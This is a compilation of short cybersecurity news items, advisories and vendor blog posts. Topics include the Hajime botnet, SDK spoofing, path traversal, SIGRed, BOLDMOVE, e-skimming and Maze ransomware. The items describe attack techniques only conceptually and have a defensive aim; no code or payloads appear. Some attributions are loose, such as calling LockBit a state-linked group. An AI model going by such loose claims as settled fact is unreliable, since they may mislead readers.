“What is surprising is that the simplest methods—such as brute forcing the password—still work and they are effective at infecting,” Soumenkov said. “A lot of devices use preset passwords that no one changes, and a lot of times the user cannot even modify the password.“
Hajime, which means “beginning” in Japanese, is a global botnet. While the botnet has focused on finding devices with weak passwords, the programmer, or programmers, behind the malware continue to improve on its design as well. Most recently, the developers added the ability to exploit a protocol used by Internet service providers to remotely manage devices, Kaspersky Lab stated in its analysis.
The botnet has successfully compromised devices around the globe. About half of the infected devices appear to be operating in five different countries: Iran, Brazil, Vietnam, the Russian Federation and Turkey. The lion’s share of the devices appear to be digital video recorders and Internet-connected video systems, Soumenkov said.
“Most of these are cameras and DVRs, or video-security cameras and the servers used to help with recording to the video cameras,” he said. The makers of such systems have historically given short shrift to security, he added. “Most of these devices are produced by a limited number of vendors and they are easy to exploit.”
All the devices targeted by the botnet run some form of Linux or embedded Linux, Soumenkov said. The malware will attempt to detect the specific type of device before trying its telnet exploit, but otherwise does not discriminate, according to Kaspersky Lab’s analysis.
“The malware authors are mainly reliant on very low levels of security,” the researchers stated.
The botnet is unrelated to the infamous Mirai botnet, which has been used to create denial-of-service attacks to overwhelm victims’ networks with traffic. Last September, a massive attack effectively blocked access to a popular security blogger’s site and an internet service provider.
So far, the purpose of the botnet remains unclear, according to Kaspersky Lab. Unlike Mirai, Hajime botnet is not known to have been used in an attack.
“While the botnet is getting bigger and bigger, partly due to new exploitation modules, its purpose remains unknown,” the analysis stated. “We haven’t seen it being used in any type of attack or malicious activity.”
However, the author of the malware behind the botnet has apparently left a message behind on every infected device: “Just a white hat, securing some systems. Important messages will be signed like this! Hajime Author.”
So far, there seems to be no evidence that the person or group behind Hajime is securing the systems infected by the malware, Kaspersky said. “Whether the author’s message is true or not remains to be seen,” the analysis concluded. |
Software development kit (SDK) spoofing is a form of sophisticated invalid traffic that is particularly nefarious because it’s notoriously difficult to detect. It involves a bad actor figuring out how various app SDKs transmit install and attribution data and signaling that a device has successfully installed an app when, in reality, no such thing has happened. This sort of fraud is especially lucrative if there’s a cost per install incentive associated with that app.
Before we dive further into SDK spoofing, let’s quickly expand on SDKs. A lot of apps use third-party SDKs — typically for advertising or analytics purposes. For the purposes of this post we’ll be primarily speaking in reference to attribution SDKs which allow users to identify when an app has been installed and who to credit for the installation via event data like clicks.
How SDK spoofing works:
- Fraudsters use a man-in-the-middle attack to insert themselves between an SDK and the endpoint it intends to reach out to.
- They then continuously hit that endpoint with a series of test calls to reverse engineer what calls represent a successful action.
- Over time, they identify what parameters being passed indicate a successful install.
- Once they successfully “install” an app, they rinse and repeat with real devices.
The real devices part is the particularly insidious bit about all this. The installs may be fake, but the devices are not. Without proper protections in place, an SDK spoofer could theoretically just buy a batch of device IDs and continue to generate install events, cashing in each time. Since those device IDs are tied to real people, from the outside looking in, those installs look completely legitimate.
That’s not all, SDK spoofers have gotten more sophisticated over time. Instead of just plugging in a list of device IDs, some spoofers actually write their own apps or get another app writer to install the spoofer’s SDK. This adds another layer of complexity because while these apps are harvesting data for fraudulent ends, spoofer apps or their SDKs may serve totally functional purposes. As such, once spoofers have the device data in their hands, when they spoof an install, it becomes increasingly difficult to separate fraudulent installs from real ones because to the attribution SDK, everything still looks totally above board.
To that end, while solving SDK spoofing remains tricky, mobile measurement partners have created solutions like Adjust Signature and AppsFlyer Protect360. We strongly invite you to consider working with partners with a focus on brand safety and protecting you from fraud of all types. Of course, the best form of protection is to stay informed and pay attention. As the old adage goes — if it seems too good to be true, it probably is.
This article was written by Albert Wang, product marketing manager at SpotX. |
Permissions, Privileges, and Access Controls
In an audio driver in all Qualcomm products with Android for MSM, Firefox OS for MSM, or QRD Android, if a function is called with a very large length, an integer overflow could occur followed by a heap buffer overflow.
CWE-264 - Permissions Privileges and Access Controls
CWE 264 (permissions, privileges, and access controls) is not a weakness in and of itself, rather it is a category of weaknesses related to the management of permissions, privileges, and other security features used to perform access control. If not addressed, the weaknesses in this category allow attackers to gain privileges for an unintended sphere of control, access sensitive information, and execute arbitrary commands. |
A home network can be wired (using Ethernet cables) or wireless (using Wi-Fi). It may also be a mixture of the two, with some devices connecting with Ethernet and others connecting wirelessly. Wireless is generally more convenient; however, you’ll need to think about wireless security. Below are some important security terms you’ll need to know.
SSID: A service set identifier, commonly called the SSID, is the name of a wireless network. You should change the default SSID to something unique that you’ll remember. You may not want to use your actual name, but you can use a hobby or other interest (like swimming1).
Encryption password: An encryption password is a series of characters that is used to control access to the network. For even greater security, some people use a passphrase, which is longer—and therefore more secure—than a password. You should choose a password or passphrase that’s easy for you to remember but difficult for others to guess.
Encryption: Encryption prevents unauthorized users from reading data that is transmitted over your wireless network. The data is coded into an unreadable form, and it can only be decoded by a computer that has the correct password or passphrase. The most common types of encryption for wireless networks are WPA (Wi-Fi protected access) and WPA2.
Although it’s possible to create a wireless network that doesn’t have a password, it is very risky. You should always create a password or passphrase to protect it from unauthorized access. |
Attention to CSRF seems to ebb and flood against the popularity of yet another XSS or SQL injection. Here’s some insight1 into the projects I work on related to web scanning, specifically how some kinds of CSRF detections can be automated.
CSRF detection definitely falls into the “hard” category of automation. The Book discusses CSRF in Chapter 3. You may also be interested in reading the excellent Stanford Web Security Research papers on the topic.2
CSRF is a complex topic that engenders a lot of strong opinions on risk, exploitation, and what constitutes a vuln. A few months ago I wrote on the broader aspects of web security and how they do or do not relate to CSRF.
Since July was a rather dry period for updates here, I’ll take August to dive into some of the ways automated CSRF detection succeeds and which approaches are doomed to fail. |
The software uses the external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as “..” and “/” separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the “../” sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as “/user/local/bin”, which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.
– Are there request parameters which could be used for file-related operations, unusual file extensions, Interesting variable names and if it possible to identify cookies used by the web application for the dynamic generation of pages.
– A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder.
– it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files.
– File System Function Injection, Content-Based, Using Slashes and URL Encoding Combined to Bypass Validation Logic, Manipulating Input to File System Calls, Using Escaped Slashes in Alternate Encoding, and Relative Path Traversal.
– Configure the access control correctly, Enforce principle of least privilege, Execute programs with constrained privileges, so parent process does not open up further vulnerabilities. Ensure that all directories, temporary directories and files, and memory are executing with limited privileges to protect against remote execution.
– Input validation. Assume that user inputs are malicious. Utilize strict type, character, and encoding enforcement.
– Proxy communication to host, so that communications are terminated at the proxy, sanitizing the requests before forwarding to the server host.
– Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if an attacker gains some limited access to commands.
– Implementation: Perform input validation for all remote content, including remote and user-generated content.
– Implementation: Validate user input by only accepting known good. Ensure all content that is delivered to the client is sanitized against an acceptable content specification — whitelisting approach.
- Path Traversal Fuzz Strings (from WFuzz Too)
- Burp Suite
- OWASP ZAP |
The US DHS CISA issued an emergency directive urging government agencies to patch the recently disclosed SIGRed Windows Server DNS vulnerability within 24h due to the likelihood of the issue being exploited.
The issue received a severity rating of 10.0 on the CVSS scale and affects Windows Server versions 2003 to 2019.
The SigRed flaw was discovered by Check Point researcher Sagi Tzaik and impacts Microsoft Windows DNS.
The vulnerability could be exploited by an unauthenticated, remote attacker to gain domain administrator privileges over targeted servers and take full control of an organization’s IT infrastructure.
An attacker could exploit the SigRed vulnerability by sending specially-crafted malicious DNS queries to a Windows DNS server.
“SIGRed (CVE-2020-1350) is a wormable, critical vulnerability (CVSS base score of 10.0) in the Windows DNS server that affects Windows Server versions 2003 to 2019, and can be triggered by a malicious DNS response. As the service is running in elevated privileges (SYSTEM), if exploited successfully, an attacker is granted Domain Administrator rights, effectively compromising the entire corporate infrastructure.” reads the analysis published by CheckPoint.
An attacker could exploit the issue to remotely execute arbitrary code, intercept and manipulate network traffic and steal sensitive data.
The flaw resides in how Windows DNS server handles an incoming DNS query, as well as how forwarded DNS queries are parsed.
The bug affects the DNS server component that ships with all Windows Server versions from 2003 to 2019.
CISA director Christopher Krebs considers the issue critical for government agencies due to the wide prevalence of Windows Server in civilian Executive Branch, it is also critical for organizations in the private sector.
“I’ve determined that immediate action is necessary, and federal departments and agencies need to take this remote code execution vulnerability in Windows Server’s Domain Name System (DNS) particularly seriously.” states Krebs.
“Today, I directed agencies to apply the July 2020 Security Update for Windows Servers running DNS (CVE-2020-1350), or the temporary registry-based workaround if patching is not possible within 24 hours.”
Krebs pointed out that the issue is “wormable,” this means that it can run independently and propagate copies to other vulnerable systems impacting all Windows Server versions that have the DNS role enabled.
The ED 20-03 emergency directive requires agencies to install the security patches within by Friday, July 17, 2020, 2:00 pm EDT.
In case agencies cannot be installed, CISA requires agencies to deploy a registry modification workaround detailed in the Microsoft advisory.
Agencies then have another week to remove the workaround and apply the security update. Servers that can’t be updated should be removed from an agency’s network, CISA said.
This emergency directive requires updating all endpoints running Windows Server operating systems. and reporting status report to CISA.
The good news is that at the time of writing, no proof-of-concept code for the SIGRed vulnerability is publicly available.
“The Cybersecurity and Infrastructure Security Agency (CISA) is unaware of active exploitation of this vulnerability, but assesses that the underlying vulnerabilities can be quickly reverse engineered from a publicly available patch.” states the directive.
Recently security experts warned of other critical vulnerabilities that are easy to exploit, including issues in Palo Alto Networks’s PAN-OS, in F5 BIG-IP networking devices, and the SAP Recon vulnerability.
(SecurityAffairs – hacking, SigRed)
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Wireless local area networks are becoming increasingly popular. The popularity of 802.11 Wireless LAN causes some serious threats due to some weakness in configuration and implementation of wireless network. There are several potential problems with allowing end users to add wireless or other devices to the company network without approval. One big one is they may not employ the proper security measures. There are also the issues of maintaining control of the organizations' infrastructure. Such devices which have been configured without approval of network administrator termed as a rouge access point. |
Clickjacking detection using Machine learning and Data Mining
Project ID: WUB/2022/P1/010
Project Duration: 2022 - 2023
Project Leader: MD Nazmus Sakib (Department of Computer Science & Engineering)
Project Members: Ashraf Kamal, Ayesha Siddika, Kazi Hassan Robin, Shamsun Nahar
Clickjacking attack is one of the emerging
web-based attacks In clickjacking, transparent iframes that are put over
website items are used to deceive the user into clicking. Without the user's
awareness, this might result in undesirable operations. Although clickjacking
is one of the main topics of debate, it is still unknown how and to what degree
the attacker may employ this in order to motive user and get personal data.
Therefore, the study have suggested a technique in this research that
recognizes malicious URLs that are being utilized in clickjacking attacks. The webpage's
dangerous links are categorized using the Self-Organizing Mapping (SOM)
classification approach, and these links are then displayed on the webpage using
HTML CSS properties. There is just one form of harmful link found on the
webpage, and that is the phishing link. Thus, the phishing dataset is employed.
Regarding performance measures, the Self-organizing mapping (SOM), the support
vector machine learning model, and the SOM classification were compared.
Compared to the SVM model and XGBoost, the SOM model requires shorter training |
A suspected China-based threat group exploited a flaw in Fortinet FortiOS SSL-VPN as a zero-day attack. The threat group targeted a government entity in Europe and an MSP based in Africa.
According to Mandiant’s recent report, the exploitation happened in October 2022, two months before the fixes were released.
- The attackers exploited internet-facing devices used for managed security purposes (e.g., IPS\IDS appliances, firewalls).
- The attacker used a heap-based buffer overflow flaw (CVE-2022-42475) in FortiOS SSL-VPN. It could end up in unauthenticated RCE using specifically crafted requests.
- The attacks used the BOLDMOVE backdoor, a Linux variant specifically created to run on Fortinet’s FortiGate firewalls.
Making a BOLDMOVE
The BOLDMOVE backdoor is written in C and supports both Windows and Linux systems. The Linux variant is equipped with a feature to read data from a file format proprietary to Fortinet.
- The Windows variants were compiled in 2021, however, no samples have been spotted in the wild so far.
- The threat performs a survey of the infected system and collects information that helps the attack uniquely identify the machine.
- It receives commands from a C2 server, allowing attackers to perform file operations, relay traffic via the infected host, and spawn a remote shell.
- An extended Linux sample of the malware disables and manipulates logging features (called Indicator Blocking) to avoid detection.
The recent report shows how attackers are exploiting zero-day flaws to target high-value targets such as MSP to gain access to a wider network of its customers. Further, the attackers are using custom implants, which is consistent with previous Chinese exploitation. Thus, organizations are suggested to plan their strategies by keeping these TTPs in consideration. It is suggested to have a robust patch management plan and ample security for sensitive data. |
In 2024 cyber security budgets are expected to increase by an average of 6%, which is good news. But even with larger budgets, cyber security professionals cannot put the same emphasis on every threat out there. There are just far too many. One way to approach this dilemma and provide some focus and guidance for the year ahead is to discern some of the major trends and associated threats that are likely to have a high degree of likelihood of transpiring, and a high impact if they do. These are the threats that ought to be on the priority list of cyber security teams.
So what supply chain cyber risks should security teams be concentrating on in 2024? We predict that among the leading threats will be those associated with the rapid evolution of generative AI tools, systemically-relevant concentration risks in organisations’ extended supply chains, state-sponsored attacks, and social engineering attacks.
Trend 1: Generative AI
Since its introduction in late 2022, OpenAI’s Large Language Model (LLM), ChatGPT, swiftly became the most popular app of all time, with the highest growing user base in history. ChatGPT and other generative AI tools are already impacting nearly every industry and profession. In some cases, adoption is an informed choice to introduce LLMs into business workflows. However, often the adoption is indirect and less controlled as suppliers (especially SaaS providers) have already integrated LLMs into their systems and services at breakneck speed, imposing the change on organisations using their software.
Generative AI is a double-edged sword. On the one hand, it will help security teams by adding its advanced data analysis power to enhance threat intelligence and analysis, early detection, incident response, smart authentication, among other activities, while also reducing the resource burdens on teams. Via APIs and plugins, these tools are already being introduced into security software such as threat intelligence tools, Security Information and Event Management (SIEM), Intrusion Detection or Vulnerability Management systems. They also allow users to remain proactive in their security efforts by adding a logical layer to protect organisations’ data, for example by learning what’s ‘normal’ in their organisation-specific environments.
On the other hand, threat actors, too, are making increased use of the power of these new tools, not least for designing and refining malware that is harder to detect as well as for enhancing their phishing techniques, but more on this later. Generative AI applications also bear many security risks for organisations using them, especially to the confidentiality, integrity and availability (CIA triad) of corporate data. Like any other software, generative AI and LLMs can be compromised, for example via prompt injection attacks, data poisoning, denial of service attacks, or inference attacks. But they can also pose risks to organisations based on their proclivity for ‘hallucinations’ and generating false information.
Last but in no way least, there is a risk of employees feeding sensitive proprietary or customer data into these tools, exposing this data to potential unauthorised access. Since AI tools often resemble black boxes, users can also not be sure how the data they input into these tools is being handled. On average, enterprise employees are entering confidential business data into ChatGPT 199 times per week, thus exposing these organisations, and their customers, to both security and privacy risks.
The majority of security professionals attribute the significant overall increase in cyber attacks since 2023 not least to the emergence and widespread adoption of generative AI, with 82% worried about how generative AI “might enable additional cyberattacks”. However, despite over half (53%) of organisations acknowledging generative AI as a risk, just over a third (38%) have so far taken steps to mitigate against it. Furthermore, remote workers are leaving organisations particularly exposed to these new AI risks as they employ tools to support communication and collaboration. According to Verizon’s Data Breach Investigation Report, web apps used by remote workers were responsible for 90% of the data breaches, and with many of these tools already integrating AI capabilities into their services, this risk will only increase.
Given the novelty of the new AI tools and the lack of sufficient guardrails in place as of yet, there is a significant potential for generative AI-related cyber security disruptions in 2024. We expect 2024 to be a tumultuous year with regard to what generative AI will hold in store for us.
To mitigate against these new risks, it will be paramount for security teams to:
- devise a clear strategy and company-wide policies as well as put guardrails in place to protect their organisations. These will necessarily have to include updated policies relating to data management, AI development, and incident response planning.
- Company-wide employee training will be crucial to communicate the gravest risks posed by the new tools, and to share best practices.
- It won’t be enough, however, to only ensure that your own organisation puts measures in place to guard against the risks of generative AI. Organisations will also have to ensure that their critical suppliers, especially those that manage sensitive customer and other data on their behalf, will do the same. This will be a core challenge facing organisations with respect to ensuring a responsible utilisation of generative AI tools moving forward.
Trend 2: Concentration risks in organisations’ extended supply chains
The second biggest threat to organisation’s supply chain cyber security are concentration risks beyond immediate suppliers and third parties, in their extended supply chains. Before we look at these more specific types of concentration risks, let us first define what types of concentration risks exist. There are essentially three main types of concentration risks in corporate supply chains that organisations potentially face.
The first is when organisations rely too heavily on one supplier for any business-critical processes or services, without any backup options in place. Should such a critical supplier be breached and go offline or cease to be able to provide its services, this could pose immediate business continuity risks to organisations solely relying on the supplier and not having a backup provider in place.
The second type of concentration is fourth-party concentration risk, when multiple suppliers of an organisation rely too heavily on the same fourth party, with which the organisation itself is not even directly connected. Should this fourth party get breached, this could affect all the above-mentioned third party suppliers at the same time, potentially resulting in all of them becoming unable to continue to provide their services to the organisation in question.
The third type of concentration risk is ‘systemic risk’, which transpires when a large number of organisations in the same industry all rely on the same critical supplier. Think, for example, of the importance of a few clearing banks and payment messaging systems for the communication and clearing of financial transactions in the financial services industry. If such a critical supplier for an entire industry gets breached, this could have major systemic implications that could even bring the whole system to its knees.
It is these fourth-party and systemic concentration risks that we believe will pose the greatest threat to organisations’ supply chains in 2024. The most likely candidates for these types of attacks are the public sector, financial services sector and critical national infrastructure. Aware of this challenge, regulators are increasingly pushing for organisations to focus more on these potential concentration risks within the context of boosting organisations’ operational resilience as well as reducing systemic risks in entire sectors.
Reducing such concentration risks, however, first requires organisations to:
- Gain visibility into their extended supply chains beyond third parties, including into their 4th, 5th and nth parties.
- Collaborate much more closely with its peers and even competitors as well as regulators, industry associations and national security agencies.
A model for enabling such industry-wide collaboration to reduce concentration risk, for example, is being provided by FS-ISAC, a global cyber intelligence sharing community for the financial services industry. FS-ISAC not only offers its members actionable cyber intelligence sourced directly from its members and its own Global Intelligence Office, it also facilitates collaboration between financial services organisations in the context of emerging threats that could have systemic implications for the entire sector. This model of collaboration and burden sharing will be key to effectively reducing both 4th party and especially systemic concentration risks in organisations’ supply chains in 2024, and to harden the supply chain security of entire sectors.
Trend 3: State-sponsored attacks
Cyber attacks by threat actors linked to nation states have jumped from 20% to 40%, prompting the NCSC to issue a threat alert last year, warning against an increasing number of state-sponsored attacks targeting UK critical national infrastructure. With the digital world having become as big a battleground for state actors as the real world, especially since the beginning of the Russia-Ukraine war a new wave of hacktivism and cyber attacks by state-sponsored threat actors has been unleashed.
The biggest concern with state-sponsored attacks is their potential impact, given the resources and expertise behind them, as the example of SolarWinds attests to. When an advanced persistent threat (APT) actor injected malware into Solarwinds’ Orion IT monitoring and management software, this affected thousands of organisations, including several federal agencies in the US. More recent state-sponsored attacks perpetrated by Russian-linked hackers have included a supply chain attack against one of the British Ministry of Defence’s suppliers, which provides fences for high security sites. According to an article in The Defense Post, the hack gave the Russian hacker group LockBit access to gigabytes of data relating to high security sites in the UK. Meanwhile, in Denmark, Russia-affiliated hackers managed to breach 22 Danish power companies, apparently with the aim to gain access to Denmark’s decentralised power system according to the Centre for Strategic and International Studies.
Making the situation worse, many state-sponsored threat actors are no longer just motivated by financial gains or even by the goal to gather intelligence, but are increasingly also intent at disrupting systems and organisations, or even at destabilising entire sectors and economies. Moreover, similar to the WannaCry ransomware attack, where threat actors exploited vulnerabilities in the Windows operating system to gain access to organisation’s internal systems, state-nexus groups remain especially focused on “trojanising known software packages” to target cloud infrastructure.
The worsening global geopolitical climate suggests that 2024 will see an increase of such advanced cyber warfare from all sides. Events such as the upcoming 2024 US presidential election will further increase the likelihood of sophisticated attacks by state-sponsored threat actors to either disrupt elections, sway voter opinion through the propagation of misinformation, or indeed in an attempt to alter ballout outcomes through targeting digital ballot systems.
To mitigate against the rising threat of state-sponsored attacks, organisations can’t do much more than to strengthen their overall cyber security posture and those of their critical suppliers. Other than that, governments and their national security agencies must place a premium on:
- Strengthening public-private partnerships with cyber security vendors as well as public and private sector organisations;
- Enhance collaboration with allies and international institutions to bolster their collective defences;
- Research and understand the modus operandi of the numerous state-sponsored threat actors.
Trend 4: Social engineering attacks
People generally remain one of the weakest links in organisations’ security posture, as they are prone to normal human behaviours and errors. Regardless of how good the policies and how secure the systems of organisations are, individuals will remain the principal target of threat actors in 2024.
On average, organisations are targeted by 700+ social engineering attacks annually, and phishing remains the most popular attack vector. Other common threat vectors, according to ENISA, include “spear-phishing, whaling, smishing, vishing, watering hole attack, baiting, pretexting, quid pro quo, honeytraps and scareware.”
As social engineering attacks have significantly increased in sophistication, employees more and more struggle to detect a phishing email, text message, or LinkedIn message, to name just a few, and will accidentally click on a malicious link or download a compromised attachment. The most popular type of phishing attack is spoofing, where a threat actor impersonates a trusted brand, client, partner or even colleagues. Generative AI will make spoofing even harder to detect by allowing threat actors to create communications that are much more personalised, and by taking advantage of deep fakes, both in audio and visual form.
To take just one example, threat actors are now able to simply identify an existing online video or audio file of a company’s CEO, utilise generative AI applications to create an audio message cloning the voice of the CEO, and then use this to launch a social engineering attack against unexpecting company employees.
With the rapid increase of remote working since the COVID-19 pandemic, the risk of social engineering attacks against organisations has further increased. With employees asked to work from home wherever possible during the pandemic, cyber attacks notably increased by 300%.
To mitigate against the constant risk of phishing attacks and other forms of social engineering, the most effective practical steps cyber security teams can pursue include:
- Regular workshops run by cyber security teams with different teams across the organisation, keeping employees up to date with the latest techniques and attack vectors utilised by threat actors as well as with best practices to keep themselves and their organisations safe.
- Particular emphasis should be placed on secure remote working, including wifi and router security, but also regular access control checks and general data hygiene.
Beyond Third Party Risk Management: Towards Collective Defence
Organisations’ supply chains remain the perhaps weakest link in any security posture and third party (and fourth party) risk among the most challenging to mitigate. All of the above trends and associated threats will affect the corporate supply chains of organisations.
To achieve meaningful supply chain security, however, organisations need to start approaching risk management differently. Traditional third party risk management, with its focus on assuring individual suppliers no longer suffices to protect organisations from supply chain attacks, especially if they originate further down an organisation’s extended supply chain ecosystem. If you want to beat the bad guy, you're going to need a whole community of good guys on your side. In other words - when it comes to cyber security - collaboration is key. So why do we expect single organisations to have the capacity and expertise for fending off cyber criminals alone? Why, when an organisation comes under attack, are we so quick to blame them for having ineffective security controls instead of looking at the bigger picture?
Organisations are linked, whether they like it or not, and the responsibility for preventing cyber crime is inescapably shared by the entire ecosystem. Blaming a single organisation for falling victim to a breach only perpetuates an every-man- for-himself mindset which does nothing to stop further attacks. To put it simply, an organisation's defences are only as strong as those of the other organisations in the ecosystem, so sharing resources and data is in everyone's best interests.
Connected organisations have a natural incentive to make sure there isn't a breach within their ecosystem. When everyone is connected, an attack on one organisation is tantamount to an attack on every organisation, which means that looking out for each other can only be beneficial. And conversely, failing to collaborate can only be detrimental for everyone involved. Organisations with large security operations centres and strong expertise in hunting, detecting and responding to attacks must rally around their smaller partners and suppliers in order to protect the whole system. When it comes to cyber security, organisations can only win when they play as a team.
This is why Risk Ledger espouses the concept of ‘Defend-as-One’, because if we all take a much more collaborative approach to supply chain risk management, we become a powerful army, rather than a lone ranger in the fight against cyber crime. |
E-skimming attacks happen following a simple pattern: (1) hackers gain access to a company's online store; (2) hackers hide malicious code on the company's website; (3) the code collects payment card information from users while they're making purchases on the infected site.
These types of attacks have been happening since 2016, but they've intensified during the last two years, in 2018 and 2019, and have become a problem that neither end-users, companies, and government agencies can ignore anymore.
Initially, these attacks were carried out by exploiting vulnerabilities in open-source e-shopping platforms, with Magento being the favorite target.
However, over the past two years, hackers have greatly diversified their attack methodology, and any online store is now susceptible to attacks, regardless if it runs on top of an open-source platform like Magento, or a cloud-hosted service.
Among the exploitation scenarios that have been observed, and which led to an e-skimming incident, we list:
- Hacking a third-party company that provides widgets that load on online stores (tech support widgets, EU cookie compliance, etc). In this scenario, the malicious code is loaded via the hacked third-party service.
- Placing the malicious code inside a company's cloud hosting account that has been left open to outsiders, with "write" privileges. In this case, the attacker effectively modifies a site's source code because the company forgot to secure an AWS bucket with the proper permissions.
- Hacking online store platforms and putting the code inside thousands of stores at a time.
- Hacking or phishing a store's admin account and placing the e-skimming code inside the online store using this compromised and high-privileged account.
In the most recent report detailing e-skimming attacks, published at the start of the month, cyber-security firm RiskIQ said it observed this type of malicious code on more than 18,000 domains.
Some of these attacks are carried out by unsophisticated hacker groups using e-skimming toolkits bought from online hacking forums, but other attacks are the work of experienced and long-lived criminal groups, involved in many other types of cyber-crime activities.
Now, part of the yearly Security Awareness Month, the FBI is urging companies to take note of this new breed of attacks and put security measures in place to protect end-users.
"This warning is specifically targeted to small and medium-sized businesses and government agencies that take credit card payments online," the FBI said.
Together with the Department of Homeland Security's Cybersecurity and Infrastructure Security Agency, the FBI is recommending that companies and government agencies:
- Keep software updated.
- Change default credentials and create strong, unique passwords on all systems.
- Implement multi-factor authentication.
- Do not click on links, and be wary of email attachments in messages.
- Segment and segregate networks and functions.
From a user perspective, there's not that much that they can do to detect or prevent an e-skimming attack.
One solution is to use an antivirus product, but not all are kept up-to-date with the latest lists of domains that hackers are using for their attacks. Antivirus products may be able to detect a one-day-old compromised site, but they're not able to detect recently hacked sites, so there's always a small window of time during which users can have their data stolen, even if they use antivirus products.
Another solution is that end-users sign-up for a "virtual card" service. These are online payment solutions where users get a one-time payment card number they can use for one transaction only.
Even if the card number is used on a compromised site, once the transaction is completed, the card number expires, and hackers won't be able to use it afterward. The downside is that "virtual card" services aren't always available in all countries around the globe, and not all users will be able to get one.
For the time being, e-skimming attacks will remain one of today's top threats, with no single silver bullet solution to either detect or stop these attacks.
As the FBI and DHS CISA suggest, the easier way to prevent this is to block hackers from gaining access to sites in the first place, rather than dealing with detecting ongoing attacks. |
Maze Ransomware has been in the headlines non-stop ever since it was first reported in May 2019, when its authors used “Missed package delivery” and “Your AT&T wireless bill is ready to view” emails to trick recipients into opening messages with malicious payloads. Maze has been used to attack individual companies, governments, and increasingly – and perhaps most worryingly – managed service providers (MSPs), many of whom serve small to midsize businesses. This is why it is so important to work with an MSP who takes cybersecurity seriously, not only for their clients but for themselves. MSPs who allow themselves to be compromised by ransomware can, in turn, introduce it into the networks of their clients in an almost endless trail of destruction.
Although Maze was shut down in November 2020, it’s still worth studying because the tactics its authors employed — stealing data and seeking to embarrass victims, in addition to ransoming data with encryption — have inspired countless cybercrime imitators.
So what is Maze ransomware, why is it so infamous, and what can we learn from it?
What is Maze ransomware?
To start understanding Maze Ransomware, it’s important to define what exactly it is. The Maze ransomware itself is a 32 bits binary file, usually in the guise of a .exe or .dll file.
Once Maze is deployed on an end user’s machine (we’ll discuss the “how” later on), it does the following:
- Encrypts user files and sends a ransomware payment demand
- Copies user data to be sold later, most likely on the Dark Web – escalating an infection from “ransomware” to “data breach”
- Creates backdoors to enable the malicious actors behind the ransomware to have continued access to the system
- Attempts to spread within the network and beyond
The Maze code is sophisticated and includes many obfuscation techniques designed to evade common security techniques and security teams.
Organizations believed to have been hit by Maze ransomware include the likes of Canon, tech and consulting giant Cognizant, and Conduent, which provides HR and payment infrastructure to “a majority of Fortune 100 companies and over 500 governments.” The impact of Maze ransomware was so massive that the FBI issued a specific warning about it.
How Maze ransomware works
In most cases, Maze is deployed onto the victim’s machine using a phishing email – increasingly common is a spear-phishing email – containing a malicious attachment, such as a macro-enabled Microsoft Word document or password-protected zip file. From examples seen in the wild, this document is often named something innocuous yet tempting, such as “Quarterly Report” or “Confidential Data Set.”
Once it has been successfully deployed – that is, a user has opened the compromised document in the previous phishing example – it begins propagating within the user’s system. Simultaneously, it starts spreading laterally within the network, seeking ever-higher access privileges in order to do more damage. During this period, files start being encrypted, often affecting both the user’s local machine as well as cloud storage.
It is at this point that the ransomware payment demand usually appears, spelling out the attacker’s requirements and method of payment – usually with crypto-currency.
How does Maze ransomware evade common security measures?
First off, it starts with a zip attachment that is encrypted with a password and/or a document that includes a macro. This makes it very difficult for email security solutions to detect Maze ransomware, because:
- They cannot automatically open the file protected with a password
- They do not normally scan zip files
- Scanning macros are a challenge for these solutions
Scanning for vulnerabilities
Next, the Maze ransomware scans the network for vulnerabilities. It looks for any weaknesses in network configuration, and across multiple Active Directory attributes. This way it gains critical insights and intelligence on the network itself and can embark on the next phase of its sinister mission.
The Maze ransomware now begins moving laterally within the network. It does this initially by investigating the infected machine for clues regarding moving to the next machine and through the network, constantly scanning for passwords that are not well-protected. Should this prove unsuccessful, it moves on to other means such as brute-forcing access to new user accounts.
Getting elevated privileges
Just moving laterally is not enough for attackers. They want to constantly be improving their level of access privileges to access more information and gain more control over the system. With elevated privileges, spreading the infection becomes easier and quicker.
How to protect against Maze ransomware
There are 4 primary ways of protecting against Maze Ransomware. These are:
- Protecting each endpoint (computer or device)
- Protecting cloud services, such as email and collaboration suites
- Preventing the lateral movement of the ransomware
- Backing up your data
Detecting Maze pre-delivery
With the vast majority of Maze ransomware attacks starting with a phishing email, the logical and most effective place to start is with a cloud email protection solution. This stops the problem upstream, preventing much damage down the line.
Protecting each endpoint
Next, it’s important to protect individual endpoints from infection. Merely installing antivirus software on PCs is not sufficient. Using remote monitoring and management (RMM) software, an MSP can ensure that no individual machines have been compromised and that any attempt to infect individual machines is picked up and dealt with as early as possible. (Of course, MSPs should be even more watchful for problems on their own networks.)
Preventing the lateral movement of the ransomware
As we’ve seen, Maze ransomware will attempt to move laterally within the organization. Again, at this stage, an RMM tool is your best chance of keeping your network secure and isolating the infected machine, without necessitating a complete shutdown of the entire network.
Backing up your data
Properly backed-up data is key to ensuring business continuity in the case of an attack – and something that helps you sleep well at night. If you have a complete and ransomware-free backup of your data, you can wipe out ransomware and effectively roll back the clock to before the attack occurred.
Unfortunately, too many businesses discover too late that their backups are not as complete as they might have hoped — or that attackers were able to corrupt their backups along with their operational systems. Make sure your backups are reliable, complete, and hardened against attack.
Some of the solutions we offer
Working with our technology partner Datto, we offer solutions to protect your business at every level, including:
- Datto RMM for remote monitoring and management of your PCs, servers, and network, with specific features for ransomware detection and remediation.
- A complete suite of backup solutions for data on your own servers and in cloud services like Microsoft 365, Microsoft Azure, and Google Suite, all of which can come under attack.
- SaaS Defense for Microsoft 365, which blocks incoming malware attacks spread by email or through collaboration tools like Microsoft Teams before they reach the end-user.
Maze and its sequels
Maze variants and imitators are popping up all the time and are sure to do further damage in the future. Having said that, the response to Maze ransomware as outlined here is a robust way to protect users and your organization against Maze and other ransomware attacks.
Contact us today to learn how we can help you protect yourself against the latest threats. |
Spammers Spread Trojan with H1N1 E-Mails
Several security vendors are reporting a large malware campaign taking advantage of interest in H1N1 vaccinations.
